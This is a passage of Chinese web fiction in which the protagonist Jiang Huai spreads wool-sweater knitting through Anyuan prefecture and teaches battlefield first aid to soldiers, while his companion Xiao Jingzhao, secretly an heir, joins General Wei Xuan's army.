弯头村内,村民说话声嘈杂不已,围着一家问个不停,这家人被问得不耐烦了。
“说了你们不信,不信就自个去看看嘛。”说完,不管其他人再怎么问,这家人都不开口了。
其他村民从他这里得不到回答,你看看我,我看看你,脸上都有些犹豫。
虽说这些天,姜淮收购羊毛卖毛衣的消息传得沸沸扬扬,但是对弯头村来说没有什么影响,因为他们这边能被姜淮收走的羊毛早就被收走了,也做不了什么羊毛生意。
至于说毛衣,他们对毛衣的价格也略有耳闻,虽然吃惊毛衣的价格,但也没有什么想法,毕竟他们既不知道如何把羊毛变成毛线,也不知道如何将毛线编织成毛衣。
可现在不同了,姜淮那边据说会教人毛衣编织的方法,虽说是要去那边干多少天的活才能教,学会后要给姜淮编织三套毛衣毛裤,可这等秘方能教给他们,哪怕干几年活都是划算的,更别说只是干两个月的活。
这几乎就是天上掉馅饼的好处,因为好处太大了,反而让不少人有些犹豫,这里面是不是有什么弄错了的。
不只是弯头村,其他村,甚至是安远府内的普通百姓都知道了这个消息,不过城内的百姓就不是一个村一个村的知识,而是被亲戚神神秘秘地说要告诉他们一个好消息,然后将这事说了出来,不少人都是半信半疑的。
不过消息到底是真是假,冲着利益的份,总有人愿意走一趟问问看,而这一问,知道消息是真的后,不少人都心动起来了。
而且就去问过的人回来说,可以两个人一起过去,一个人负责给工坊干活,另一个人直接就学织毛衣,这样就能提早学了。
而得知这个消息后,外来的商户也开出了价钱,只要能织出一件质量合格的毛衣,工钱能给上百文,虽然和毛衣的价格比起来,这个工钱算不上太高,但是对于普通百姓来说,这个工钱足以让他们眼红。
尤其现在是冬日,正是坐吃山空的时候,以往就算想做工,也是要出门做事,这天气在外面做工也难,可织毛衣就不同了,如果可以将毛线带回家的话,在家中就能织毛衣了,省事太多了。
随着消息的传开,不断地有人前往工坊询问,有一男一女,也有母女一起来,毕竟男的在家还能做些力气活,而清洗梳理羊毛的话并不需要多少力气。
工坊里顿时热闹非凡,一下子又扩充了很多,不过考虑到这只是暂时的,就只是简单地搭了棚子,并没有多建房屋,只是棚子里人多也显得比较暖和了。
而外来的商户得知消息后,也都纷纷来找姜淮学习毛衣织法,姜淮同样来者不拒,主要是他清楚,他这边不教,其他人会了后,只要这些商户给钱,总是能学到的,还不如他来赚这个钱。
不过外来商户学的织法,姜淮就给升级了一下,不光是可以织普通的毛衣,还能织出各种花色.图案,只不过基础款是一个价,图样又是一个价了,叠加起来就显得贵了。
本来看姜淮出的价格高,有些商户还不太满意,觉得姜淮是想坑人,可看到姜淮拿出来的图样,纷纷购入,毛衣想卖得贵,图样绝对不能少。
尤其是其他人都买了,你要是不买,那就显得你织出来的毛衣差了,后面就卖不到钱了。
第37章 第 37 章
今年冬日的京都也是格外的冷。
贫困人家不说, 就算是勋贵世家子弟,出门赏雪宴饮也是要穿上厚实的裘服才能保暖,等到室内才烤火才能将皮裘脱下。
若是往常, 在屋内有火炉,倒是不用穿得太厚实,可今年格外地冷, 哪怕摆上了火炉, 依旧透着丝丝寒意,有世家子弟为了彰显气度, 把外衣脱了后, 硬是给冷病了, 好几个卧床不起。
冬日大病一场极为受罪, 更别说还有生命危险, 为了安全着想,再参加宴会的勋贵世家子弟都会让主家多弄些暖炉, 要么就再多穿些。
只是穿得多, 人就显得臃肿起来。
大周一向推崇文弱纤瘦的身姿,不论男子女子, 皆是如此,穿得臃肿就显得难看了不少。
叶娘子得知赏梅宴是设在四面透风的亭中, 脸色有些难看起来。虽说这亭中到时候会燃起火炉,可要说暖和,那也绝对暖和不到哪里去的,以往不都是在屋内吗, 怎么今日改成亭子里。
这要是冻病了……
“娘, 能不去吗?”叶娘子和母亲关系极好,撒娇问道。
“怕冷?”母亲注意到叶娘子脸上的为难, 自然清楚她为什么不乐意去。
叶娘子羞赧地点点头,道:“娘,您也知道,这段时间的冬宴都不知道冻病几人了,若是去了不脱外袍还好,可……”可为了身姿好看,谁会不脱呢。
不然到时候其他人都身姿纤细,动作优美,你身形臃肿,动作迟缓,那多难看。
可脱了,叶娘子想到屋外的寒冷,不禁打了个寒战,
“你放心,阮家敢这样设宴,怕也是知道京都新来了一批冬衣,你到时候穿着去,外面的裘服脱了也无妨。”
冬衣?
叶娘子开始还有些不解,可等她真的穿上母亲送来的毛衣,才知道为什么阮家敢这样设宴,这毛衣实在是过于暖和了,穿了里衣后再穿一件毛衣,外面套一件稍厚一点的秋服便好了。
唯一不好的便是,为了暖和点,这毛衣有些过于的贴身了,好在只是以往没有这样穿过,多穿了一会,叶娘子也就习惯了。
这一幕发生在叶府,同样也发生了京都其他人家的府上,很快,各种宴会上,参加宴会的人中总有些人因为穿着单薄引人注目,而很快地,注意到的人也知道了毛衣的存在,飞快地去买了毛衣。
原因很简单,当大家都显得臃肿,或者用健康换风度的时候,没有人会觉得这里有什么问题,可一旦有人可以既穿得单薄又不生病,那些付出代价的人就显得有些蠢了,需要尽快改变。
不过买毛衣归买毛衣,并没有什么人去问毛衣到底是从哪里来的,自然也就没有人知道这毛衣是从安远府传出来的。
上层的毛衣风潮也很快影响到了普通百姓,只不过普通百姓一问毛衣的价格,都是倒抽口凉气,觉得自己实在买不起。
不过毛衣也给普通百姓留下了很深刻的印象,本来毛衣若是突然出现在百姓眼前,哪怕价格是他们能买得起的,可是出于对新事物的不信任,毛衣想要很顺利地推销出去也不容易。
可这次,毛衣的风先是往上层吹,而后才让百姓自发地了解到毛衣的存在,因为对世家大族的敬畏,自然也就觉得毛衣肯定是好东西,不然那些世家大族怎么会喜欢毛衣呢,可以说是为之后毛衣的销路铺平了道路。
……
“想什么呢?”姜淮一回来,就发现萧靖昭正怔怔出神,似乎在想什么事,都没有发现他回来了,突然起了些恶作剧的心思,蹑手蹑脚地往萧靖昭边上走去。
不过姜淮还记得上次的教训,知道萧靖昭动手的时候都是下狠招,有过上次的教训,姜淮走到萧靖昭一手远的位置就出声,虽然有点距离,但是姜淮觉得应该还是可以吓到对方的吧。
只不过结果让姜淮失望了,萧靖昭回头看了眼他,一点被惊吓的样子都没有。
其实在姜淮蹑手蹑脚过来时,萧靖昭就注意到了他的动作,之所以还没有动静是因为想看看姜淮想做什么,结果就发现姜淮又想吓吓他,又站得离他有些远,愣了一下,萧靖昭才从记忆中翻出姜淮可能这么做的原因。
“刚才怎么愁着一张脸?”姜淮凑了过去,好奇地问,不过姜淮倒不怎么担心萧靖昭会出大事,因为他们现在衣食无忧的,又有卫轩做靠山,哪里会有问题,就算有问题,以萧靖昭的身份,他也能帮忙。
萧靖昭垂眸,他前些天和卫轩聊过一阵,算是稍稍确定了下后面的道路,为了以后回京都登基,他不可能一直隐藏在姜淮身边,或者说不能一直当个无名小辈,哪怕是隐瞒身份,也是要做出一番事业才行的。
“卫将军问我,愿不愿意入军中做事?”萧靖昭低声道,明明这是他先前就想好了的道路,可告知姜淮时,却有些莫名的心虚。
“去军中做事?”姜淮愣住,看向萧靖昭,想从他脸上看出对方是在开玩笑的意思,可看来看去,萧靖昭还是一本正经,一点也不像是在开玩笑。
“卫哥怎么会说这个?”姜淮追问。
“卫将军说我身板结实,功夫了得,若是只在家中闲散度日,未免有些可惜,便推荐我到军中做事。”萧靖昭侧头道,有些刻意地躲着姜淮的眼睛。
这是他入军中的借口,实际上的原因很简单,除了不能龟缩在一处,更多的还是对权力的控制。
萧靖昭清楚卫家不可能背叛他,可是经过之前的事,萧靖昭已经没有办法完完全全地信任一个人,哪怕是卫家,他也不能看着卫家掌权,而他隔了一层,他需要切实地把握住军权,才能稍微安心一些。
不过,或许有一个人可以让他更信任一些。
萧靖昭不自觉地看向姜淮,这些天吃好喝好,姜淮的身子都养好了些,面色红润,肌肤白皙,一双眼睛更加明亮有神,带着满满的活力。
姜淮没有注意到萧靖昭的目光,萧靖昭给的这个借口让他没有反驳,他来大周这么久,也知道古人对于建功立业的渴望,甚至他自己现在其实也是借着经商在建功立业,他怎么好意思阻止萧靖昭呢。
更何况他之前和萧靖昭说的是让对方照顾他五年,五年后姜家平反,对方也可以平步青云,而现在有了卫轩,如果是进入军中的话,只要萧靖昭不死,五年时间怕是就能往上爬不少。
若是等到五年后,哪怕那时候有姜家在一旁出力,可那毕竟是五年时光啊,一个人一辈子能有多少个五年,还是最青春的五年,错过了这次机会,后面再补可能都补不了了。
想到这里,姜淮忽然想起一件事来,他似乎都没有问过萧靖昭年龄。
萧靖昭还等着姜淮的回答,就发现姜淮忽然盯着他的脸看个不停,下意识摸了摸脸,他脸上有什么吗?
“你今年多大了?”姜淮问道。
“……”萧靖昭沉默了一瞬,报数,“二十三。”
那五年后就是二十八了,那个时候再想参军似乎好像有点大了,姜淮记得古代人平均寿命是比较短的,更别说入军中做事,年轻就是资本,伤势恢复得快,体力也好,真要等到二十八再参军,那时候怕就年纪太大了些吧。
而且他没有记错的话,五年后新皇登基,对外的战事就非常频繁了,若是那个时候还想入军中,就算等战事结束,爬起来也没有现在快啊。
“你现在是不想再当普通的官吏了吗?”姜淮问道。
萧靖昭摇摇头,静静地看着姜淮,等姜淮的回复,不过他觉得姜淮或许会问他改变主意的原因。
“既然你已经决定了,我也不劝你了,不过军中日子可能会挺苦的,万一有什么难处,你一定要和我说啊。”姜淮仔细叮嘱道,仿佛已经看到萧靖昭去军中吃苦的样子了。
不是姜淮对将士有意见,而是他之前去过军营,自然知道普通将士过的日子确实不算好,虽然和穷苦的百姓相比,好像是要好些,毕竟军中是管饭的,还有军饷。
要放他们刚刚入安远府,这算是个不错的去处了,可问题是他们现在富裕起来了,再去军中就是纯粹的吃苦了。
送萧靖昭入军营前,姜淮先去了趟药铺,将药铺内的草药搜刮了一通,然后找大夫问了一通,在大夫震惊的追问中连夜给萧靖昭准备了一些药包,这些药包是预防萧靖昭在军中生病没有药。
虽说军中有随军的大夫,但是姜淮真的不太敢信任这些大夫的能力,最主要的是,军营里的人那么多,大夫也就那几个,万一真有问题,说不定都轮不到萧靖昭。
萧靖昭没想到,姜淮竟然连夜就给他准备了这么多的药包,这要是拿出去,外人可能都误以为他是去军中当大夫。
第38章 第 38 章
“这是外伤药, 活血化瘀,万一在军营里有个磕磕碰碰的,就擦这个。”
“这是止血药, 万一上战场受了伤,糊上这个药粉就可以止血了,到时候你再包扎下伤口。”
“这是……”
姜淮不厌其烦地解释起来, 其实在药包上他也写上了每种药是针对什么情况, 只是为了看得方便,字体都比较大, 记载的就简短一些, 不如他提前讲解一下。
望着姜淮眼底的青黑, 萧靖昭垂眸, 安静地听着姜淮的叮嘱, 姿态莫名地柔和起来。
将手里的药包讲解完了,萧靖昭已经就这样就结束了, 谁知道姜淮还拉着他, 拿了一些绷带纱布出来,要给他练习伤口处理。
萧靖昭倒是觉得没有必要, 毕竟他虽然练武多年没有受过伤,可受伤要如何处理还是很清楚的, 哪里需要练习。
“我让你练的不是那种包扎,其他时候包扎都可以慢点,时间充足,可要是在战场上, 多慢一步, 血就流得更多了,这种方法更简单高效。”姜淮说道, 他要教给萧靖昭的伤口处理方法都是从他记忆中整理出来的手法,简单高效。
虽然萧靖昭觉得没有必要,可看姜淮这么担心他的安危,也不想让他失望,便跟着姜淮一起练习起来。
而这一练习,萧靖昭很快就意识到这种伤口处理手法的优越之处,可以说,普通的将士上了战场,大部分时候都是胡乱地处理一下,甚至不怎么处理,直到下了战场等到军医过来,但是军医也不会怎么多处理,毕竟受伤的人太多,军医也就那些。
草草包扎一下就被扔到伤兵营内,伤势轻一些的,运气好点,可能过一阵子就能出去,可要伤重的,基本就是在等死。
定安卫在卫家的管理下要好一些,但是将士的伤病问题依旧严重,可以说上了战场受伤了,几乎就是半只脚跨进了鬼门关,其中有一部分原因也是因为在战场上,将士对自身伤口处理的粗糙。
而按照姜淮说的方法,只要愿意学,然后勤加练习,说不定就可以让将士在战场上多一些存活的概率。
毕竟定安卫如今人数本就不太足,之后就算补充,也只能在安远府一地补充,为了避免影响整个安远府的民生经济,也不可能抽调太多,那将士的命比其他地方还要宝贵一些,若是能少些伤病而死的人,对安远府有很大的好处。
只是这处理伤口说得过于全面了,甚至可以说是一种秘法,若是有家中从医者,必然是当成传家宝来看待的,即便姜家不需要靠这个为生,可毕竟是姜家的东西,姜淮会愿意交出来吗?
“怎么,是有哪里不会吗?”姜淮发现萧靖昭动作停顿,以为是不记得动作了,问道。
萧靖昭抬头,对上姜淮眼中的关心,犹豫了片刻还是没有问出来,他知道,如果他一说,哪怕姜淮可能有点不情愿,但是考虑到他的想法,大概还是会交出来,他不想让姜淮被影响了。
不过姜淮这么做也给他提供了一定的思路,大不了之后再让军医钻研一下看看。
“没有,我都学会了。”萧靖昭摇头道,手下动作飞快,很快就将模拟的伤口给包扎好了。
看到萧靖昭娴熟的动作,姜淮有点惊叹,萧靖昭的学习速度真的是太快了,他本来都做好要教好一阵子的准备了,结果发现压根就不用准备那么久了。
“对了,你到了军中,记得把这些急救措施禀告给卫哥,或者说教给身边的同僚都可以。”姜淮忽然想起什么,叮嘱道。
萧靖昭猛地看向姜淮,就听姜淮说:“多一个人学,就可能多救一条命。”
“这事可以由你告诉卫将军,我去说,岂不是夺了你的功劳。”萧靖昭抿唇,认真地看着姜淮。
“我现在也不需要这种功劳,这件事上报上去,到卫哥那里,我有没有这个功劳都没什么区别,至于要是上报到皇帝那里,反而会让其他人注意到我,还不如不出这个风头。”姜淮撇嘴。
说实话,就现在的皇帝,他哪怕有本事,有时候都不想展露出来,因为一展露出来,就感觉自己以德报怨,还给狗皇帝增添光彩,真是越想越不爽。
只是羊毛嘛,是开始的立身之本,而且在安远府,用毛衣开局算是比较容易,再说安远府本来就靠近草原,能够更加高效地利用羊毛,还是大有好处。
而战场急救的话,姜淮觉得这对于安远府来说也有好处。
如果皇帝是愿意为这战场急救耗费人力物力财力,那确实也在一定程度上增强了大周的实力,毕竟将士说是视死如归,可能少点死亡的概率,少了一点心底负担,多了一些底气,冲杀之时恐怕会更加勇猛。
可皇帝知道这件事后真的会重视吗?
姜淮觉得不太可能,因为要做这件事,必须是真的将将士放在心上,哪怕说慈不掌兵,可也不是在这上面不慈,可以皇帝的行事作风,怕是完全不会想要耗费这个精力的。
而安远府这边情况就截然不同了,哪怕是为了让安远府得以维持充沛的战斗力,卫轩也不会忽略这件事。
至于其他地方的军队,不是姜淮看不起他们,只是他们自己都要靠朝廷发的军饷来为生,搞急救虽然是能自救,可做事也是要花银子的,有谁会舍得出银子,说难听点,说不定有些喝兵血的甚至恨不得将士多死一点,这样能多吃点军饷。
毕竟和安远府的位置不同,大周其他地方在开国时打过一遍,承平日久,就算偶有战事,强度也不大,完全可以轻松弹压,也就是西北这边不太平,加上卫家品性确实更高一些,所以才能用上。
而将这个功劳塞给萧靖昭的话,可以让萧靖昭更好地在军中立足,更快适应军营生活,而且有这个功劳在,其他将士对于萧靖昭的好感度必然不低,万一上了战场,身边的同袍和自己关系好与不好,差距可是很大的。
毕竟战场上刀剑无眼,一个人的注意力总归是有限的,惦记着这份恩情,万一萧靖昭遇险,身边的人或许就会多帮一把了。
这些话姜淮本来不打算说的,只是萧靖昭显然是不愿意独吞这份本应该属于姜淮的功劳,一直拒绝,没办法,姜淮只能将他的考虑给说了出来。
萧靖昭沉默片刻,道:“若非要如此,那在军中可以这么做,但是这件事必须和卫将军说明,等形势改变,该是你的功劳还要是你的功劳,不能就这么糊里糊涂地过去了。”
“好,我待会儿就和卫哥说。”姜淮看出来,这应该就是萧靖昭的底线了,一口应下。
“要和我说什么?”卫轩大步走了进来,听到自己的名字,挑了挑眉。
他这次过来也是过来看看萧靖昭,再看看姜淮,算是为姜淮撑腰,姜淮将毛衣织法教给其他人,这在他看来就是因为卫家,才做出这种选择,毕竟这么做只对安远府有利,姜淮这边却得不到好处。
而且这种行为放在一些人眼中,会视作姜淮心软好欺负的证明,会用各种方法试图从姜淮这边捞取利益,他当然就要表现出对姜淮的在意重视,让一些人知道姜淮不是那么好欺负的,他背后有人帮他撑腰。
所以这些天他经常上门,以表现他和姜淮之间关系极为亲密。
“你们受伤了?”卫轩忽然注意到两人手臂上包扎的布条,眉头紧皱,“怎么回事?”
一瞬间,卫轩脑海中闪过无数种可能,是因为姜淮和自己走得近,有人想用姜淮来威胁他吗?
抑或是姜淮在安远府得罪了什么人。
而最后一种可能,萧靖昭的身份暴露了,这是他最怕出现的情况。
毕竟萧靖昭的身份不暴露,他们还可以继续韬光养晦,直到最后一举击败皇帝,可要是现在动手的话,成功的胜算不能说没有,可怕也是惨胜,最重要的是也为以后埋下更多的隐患。
可要是萧靖昭的身份暴露,现在不起事,之后怕是也起不了了。
卫轩脸色紧绷,就算是姜淮也看出他心中的不平静,姜淮倒是没有太多想,只当是卫轩担心他,一边拆开包扎的纱布,一边解释道:“卫哥,我没事,这不是受伤了,是我在教他怎么在战场上紧急处理伤势呢,模拟一下战场急救。”
萧靖昭也跟着姜淮一起将纱布给拆开,露出下面完好的手臂。
确定两人身上确实没有伤势,卫轩才松了一口气,额上汗涔涔的,刚才那一下真的是有点把他给吓到了,可以说他在战场上冲锋都没有刚才紧张焦虑。
“你们……”卫轩说着,忽然顿了下,问姜淮,“你要和我说的就是这个?”
姜淮点头,见萧靖昭眼睛一眨不眨地看着他,似乎是在催促他开口,无奈地叹了口气,萧靖昭真是生怕他隐瞒自己的功劳,于是将战场急救的事说了出来。
卫轩一开始还不以为然,可随着姜淮的讲解越发深入,神色也越发肃穆起来。
第39章 第 39 章
卫轩上过战场, 自然知道其实大部分的将士并不是直接战死沙场,而是受伤后慢慢死去的。
卫家为了这个也做过一些努力,比如试图扩大军医的人数, 只是将士的数量太多,而军医,有些抱负的医者怕都不愿意留在军中, 况且军营里也给不了这些大夫多大的利益, 勉强找来的大夫也只是杯水车薪。
可要按照姜淮给出的这个建议,让将士自己知道如何急救的话, 真的可以多活一些人。
“淮哥儿, 此事若是能成, 你一定是定安卫全体将士的恩人。”卫轩激动地看向姜淮。
姜淮有些受不住卫轩的情绪外露, 赶紧拉出萧靖昭来, 将他之前的打算和盘托出。
卫轩瞥了眼萧靖昭,意识到这一步对萧靖昭来说也是绝妙, 毕竟现在进入军中, 哪怕有他扶持,可他也不能显得萧靖昭太倚赖他。
一来是要小心来自皇帝的危险, 若是萧靖昭依靠他太多,很容易就会被皇帝发现的, 二来,萧靖昭靠他太多的话,军中将士也容易看不起他,想要在军中立威就难多了。
若是有了眼下这个功劳, 萧靖昭在军中就可以自立。
“这个功劳, 淮哥儿,你当真要让给他吗?”卫轩看向姜淮, 将其中的利害给姜淮说清楚,他担心姜淮是一时兴起才将功劳让给萧靖昭,而之后会后悔。
若萧靖昭是普通人,姜淮后悔抱怨也就罢了,可萧靖昭身份不同,姜淮要是再抱怨,这份恩情就容易消磨掉了。
姜淮没有看出卫轩隐藏的意思,不太在意地摆摆手:“卫哥,没事,除非我也入军中,不然就算有这个功劳,陛下难不成还会给我什么奖赏吗?”
这话倒是让卫轩一下子噎住了,他考虑了很多,唯独没想到这点。
“再说,你也知道我,一贯懒散,哪里适合军营,给魏哥,那也是肥水不流外人田。”姜淮说道。
姜淮这话让卫轩看出了他的态度,见此情形也不劝说了,让萧靖昭准备几天,到时候就入军,然后将战场急救的文书交上来。
从姜家出来,卫轩有些感叹,虽然萧靖昭一直在姜淮身边,但是他没有想过,两人的关系居然如此要好了。
卫轩不自觉就想到他之前查到的一些事,外人都以为萧靖昭之所以会留在姜淮身边,是因为对方看上了姜淮,这点卫轩倒是明白,这是萧靖昭为了在安远府长久定居所找的借口,当时也恰好需要这么个借口。
卫轩当时不觉得姜淮和萧靖昭会有什么暧.昧的,之前看两人相处,卫轩也没有往这边想,可姜淮今天的行动,以及萧靖昭的选择,让他有点不敢确定了。
这两人之间真的没有私情吗?
不管是萧靖昭对姜淮有了情,还是姜淮对萧靖昭有了情,这都不是好事。
万一是两情相悦的话,那麻烦就更大了。
卫轩一时间头大如斗,他自己都没有婚事,以往都需要长辈为他考虑婚事,现如今也要为其他人考虑感情之事了。
……
时间一晃而过,萧靖昭入了军营已经有几天了,姜淮发现自己居然有点不习惯萧靖昭不在身边的日子。
虽说以往萧靖昭也经常在外面走动,可一天三顿饭,总有两顿是凑在一起吃的,而且他想做点什么,都可以和萧靖昭商量一番,如今家中只有他一个人,他喊一声也只能得到骆远的回应。
“也不知道事情进展顺不顺利?”姜淮忍不住喃喃,按照他们的计划,战场急救的计划应该呈交上去,现在就等着军中实行。
而军营中,因为战场急救这事,已经闹得不可开交了。
倒不是有哪个将领不想在营中实行计划,而是为了早点在营中推广,自然就要争个你高我低的,毕竟这事一听就是好事啊。
虽说将士战死之后,营中的兵士会得到补充,可那补充的都是新兵,没有受过战场的冲击,一上战场就两股战战,质量完全比不上老兵。
军中将领分毫不让,吵得热火朝天,一点看不出私下关系还行的样子,让外人看着险些以为他们之间有什么深仇大恨。
王进舌战群将,终于在卫轩面前拔得头筹,成为第一个推广的军营将领,而后经过一番争吵后,总算是将顺序给定下来了。
现在唯一的问题就是,想要教会将士这些急救手法,哪怕只是临时的伤口包扎过程,那都是需要不少人手来教,如何才能尽快地推广开呢?
世事都是不患寡而患不均,若是教学得太慢了,那排在后面的营什么时候才能学到啊,时间拖得越长,将士越会离心。
“你们都只看到前面的肉了吧!”卫轩冷静地看着其他的将领,以至于最后还问出这个问题来,就知道他们只看了前面的战场急救,至于如何实施是完全没有看,也亏了他们刚才吵那么一通。
“都给我多看看后面的安排。”卫轩道。
其他将领这才意识到,原来这文书后面还有内容,他们看到前面的内容就开始争抢了,后面都没有注意,这才一个个地老实地看起来,而这一看,越看越心惊。
对于萧靖昭其人,军中并没有太在意,顶多知道他是靠着姜淮的面子,被卫轩带到军中的,也稍微听闻了一些萧靖昭和姜淮的风.流轶事,却不知道此人也精通军略。
按照文书上的计划,任务是一级级地往下布置,只要掌控得力,就能在最快的时间里让全军上下掌握一定的战场急救能力。
最好的效果自然是人人都精通战场急救,可是短时间内想要达成这个目标不容易,能够一伍有一人会,或者一什有一人会,都算不错了,后面就可以慢慢地教,而且这样是能够让会战场急救的人尽量均匀的分布在军中。
虽然不见萧靖昭上战场,但就萧靖昭的这个计划,就让其他将领对萧靖昭有了些好感。
因为要说起来,尽管定安卫都是归卫家管辖,可和卫轩到底也有些远近亲疏之分,而萧靖昭这个计划则是公平地对待所有将领,虽然有些将领觉得自己和卫轩亲近,居然没有能更得好处,可萧靖昭此时的身份毕竟和卫轩不算特别的亲,他们也只是心中嘀咕一下,也没有太多想法。
而等消息公布出去,将士们在了解到战场急救到底代表什么后,营中都有些沸腾,一些新招募的兵士可能还不了解这代表了什么,可一些老兵却很清楚,这意味着他们的存活概率又会增强一些。
事情安排下去后,还是有个问题需要解决,那就是教学的人手不够。
萧靖昭本以为他很快地教好军医就可以了,剩下的事他也不用太管着,可谁知道,军医反而不好教。
或许是因为自恃才华,又或者是觉得萧靖昭抢了他们的功劳,在萧靖昭教授的过程中,几名医者总是会各种挑刺,言必称古方中是如何如何处理,萧靖昭教的这些有什么问题。
如果只是这样也就罢了,可偏偏他们不好好学,教授其他兵士的时候也态度极差,好像是自己的秘传绝学被人学了似的,各种藏着掖着,生怕被人偷学走,萧靖昭检查了一番其他兵士的教学进度,直接拦住其他人,让他们先不要学了。
再学下去,只会走得越来越歪。
卫轩收到消息时都有点不敢相信,整个事情在别处都没有问题,偏偏在最后教学上出了问题,甚至都不是将士不愿意学或者学得差,而是军医不学。
卫轩险些以为自己是收到了假消息,可确定消息为真后,卫轩让人将萧靖昭喊来,他看得出来,萧靖昭应该是有点办法的,不然行动不会这么迅速。
“你觉得该怎么办?”卫轩问。
萧靖昭沉默片刻,说:“如果要找一位合适的教学先生,姜淮非常合适,甚至可以不用教会军医,直接教普通将士就够了。”
姜淮没想到萧靖昭立刻就给他找个大活,被卫轩找上门的时候还有点没有反应过来。
“我去教?”姜淮指着自己,眼神有些茫然。
卫轩干咳了一声,将军中的事一一道来,姜淮听着,眉头不自觉皱起,他其实对如今的医者挺有好感的,也能理解一些大夫面对新医术时下意识的排斥,但问题是一边不学,一边也不愿意教,这就有问题了。
“所以,就让我去教?”姜淮问。
卫轩点点头。
“我也就一个人啊,哪里可能教那么多人。”姜淮无奈道,他教萧靖昭那么快是因为萧靖昭聪明,可如果是教普通的将士,姜淮可不敢保证,而且为了教学效果,一般情况下也不太好一口气教太多。
不过看到卫轩脸上的为难,姜淮知道,有了问题总是要解决的,教毫无基础的将士是难了点,军医又不好好学,那要不然他去找点有医学基础的学徒。
毕竟学徒年轻,脑子里没有什么刻板印象,学东西也快。
第40章 第 40 章
如果姜淮要的是能独立行医的大夫。卫轩真找不出多少来, 但学徒就好找多了,毕竟一个大夫身边就围了好些学徒,再不济还能去外地找一些。
普通大夫不一定愿意背井离乡, 哪怕只是一段时间,但是学徒的话,只要愿意给点工钱, 再以安远府的名义出面, 自然可以让他们欢欢喜喜地来。
在卫轩的安排下,学徒很快就找来了, 其中还有一个途经安远府的郎中, 因为囊中羞涩, 加之有些好奇这所谓的战场急救是什么手段, 便也主动报名了。
不过这点好奇并不算多, 因为在邓万发现除他之外,所有跟着姜淮学习的人都是普通学徒后, 邓万就觉得这所谓的战场急救, 大约只是一些再简单不过的手段了。
只不过来都来了,就算为了银子他也得好好地学呀。
教学地点选在了军营一处僻静之地, 算是让他们提前习惯接触军中将士,避免后面浪费时间。
只是一进军营, 姜淮就发现,他不光要教眼前这些学徒,还有旁听的。
“他们……”姜淮瞥了眼站在屋外站立的人影,犹豫道。
“他们听说要开始教授, 说是要先过来听一听, 学一学。”萧靖昭解释,“放心, 卫将军已经说好了,不准让他们胡乱开口打扰你们,无须在意。”
这么多人,目光灼灼的,想不在意都很难啊。
而且就算他能控制住不在意,其他的学徒恐怕不太行。
姜淮看了眼跟过来的一众学徒,也就那个郎中看着放松一些,其他学徒一律手脚僵硬,像是有刀子抵着后背,坐立难安,又不敢回头看一眼,一看就知道,现在就算开始教,也达不到最好的教学效果。
只是这些将领围在这里也不好驱赶,毕竟人家也没有打扰什么,只是站在外面看看,主要还是学徒们有些吃不住对方的气势。
要解决这个办法的话……
姜淮眼珠微转,干脆让人将一众将领都请了进来,委托他们成为教学道具。
“姜公子,你说的这个是什么意思?”王进大咧咧开口,脸上挂着些疑惑。
“就是一种模拟,假设你们身上有哪些外伤,然后让这些学徒在你们身上完成急救步骤。”姜淮笑着道,“毕竟有些伤口自己处理起来就麻烦,比如说手上的,背上的伤口。”
听姜淮这么一说,王进他们明白了过来,对视几眼都应了下来。
毕竟不答应的话,那就只能出去听,虽说他们一个个的身强力壮,可是能在屋内暖和地听着,为什么非要在外面受冻。
这么一群壮汉挤进来,原本显得很是宽敞的屋子都逼仄起来,但是又暖和了不少。
姜淮让他们一前一后地坐好,开始讲解起来,他和萧靖昭分好工了,姜淮今天先负责上午,萧靖昭负责下午,等明天就换回来。
原因很简单,姜淮早上不一定能起来,现在天冷,更喜欢在被窝里磨蹭赖床,萧靖昭知晓他这个情况,只不过今天情况特殊,一开始非得让姜淮出面不可,不然萧靖昭都会让姜淮先休息休息,不要起得这么早。
一群将领坐在身后,其实学徒们都有些紧张,但是姜淮刚才说的话让他们不得不摒弃掉这点紧张。
待会他们学到的东西都是要在这些将领身上练手的,现在紧张,以至于没有学好,到时候更得罪人,那还不如现在好好学习,等会儿顺利完成练手任务呢。
加上姜淮讲解起来确实有趣,不知不觉,这些学徒也都听入神了。
王进本来只是好奇,并没有多么想听,毕竟就算这战场急救再怎么好用,也不需要他们来学,毕竟真轮到他们都要用上这一套时,已经不知道是什么样的危急关头了。
只是听着姜淮讲解,王进也不知不觉听了进去,因为姜淮讲的并不是他曾经听一些医者提过的话,都是非常实用的技巧,甚至这些技巧,以往处理伤口都能对上,只不过以往都是凭借经验处理伤口,从来没有这样整理成理论知识。
为了加强他们对理论知识的记忆,姜淮在讲解了一遍,询问其他人有没有疑惑后,得到了否定的回答,就直接开始了模拟急救。
几位将领乐呵呵地看着学徒们紧张地给他们包扎伤口,倍觉新鲜。
倒是几个学徒紧张得额角冒汗,但是正因为紧张,却也是绞尽脑汁地学着,倒是没有出什么岔子。
萧靖昭安静地听着姜淮讲解,目光落在姜淮的笑颜上久久不曾移开。
……
京都那边一向很关注安远府的动向,在探查到定安卫的动静后,立刻就有人将消息传了出去。
而等皇帝收到消息时,和姜淮的猜测差不太多,皇帝压根没有在意这一举措对将士的提升,反而觉得这是卫家是收买人心。
不然以往都是那么过来的,为何在卫家出事后,卫轩就做出这么一番改变,还是能让将士对他大有好感的举措,皇帝完全没有想过,如果真要收买人心的话,这些举措他也可以实施。
可这么做得消耗多少精力,消耗多少银钱,皇帝心知肚明,以至于这点想法压根就没有生长的空间。
反倒是朝廷大臣看出这个举措对将士的好处,虽说要花些银钱,但却能收服一些军心啊。
皇帝对卫家的忌惮不是没有朝臣看出来,但是对于大周的忠心,以及卫家确实有些功高震主了,让一些大臣哪怕看到其中的问题,也都是向着皇帝的。
因此一得知这事后,便立刻上书谏言,认为这事可以在其他大军中推广开来。
在他们看来,皇帝应该是会同意的,毕竟皇帝如此想要掌控军权,甚至不惜针对卫家,如今有了个惠而不费的方法,怎么会不实行。
然而让这些大臣失望的是,奏折递上去就没有了消息,他们不知道皇帝是没看到,还是看到了却不愿意实施,只是这时候也不好追问皇帝,只能将心事咽下,或许是陛下另有考量吧。
他们的猜测没有错,皇帝确实是另有考量。
这么一番消息递上去,萧靖昭也出现在皇帝的视野中,不过萧靖昭并不是以献策有功的将士身份出现在皇帝面前,而是姜淮的情郎身份,再具体一些,是想借着姜淮往上爬的野心勃勃之辈。
而且心也够狠,之前在流放路上,谁也不知道卫家还有平反的一天,也想不到姜淮能靠上卫轩,这魏西就敢搏一搏。
至于什么因为过于喜欢姜淮而留在安远府,皇帝压根不信这点。
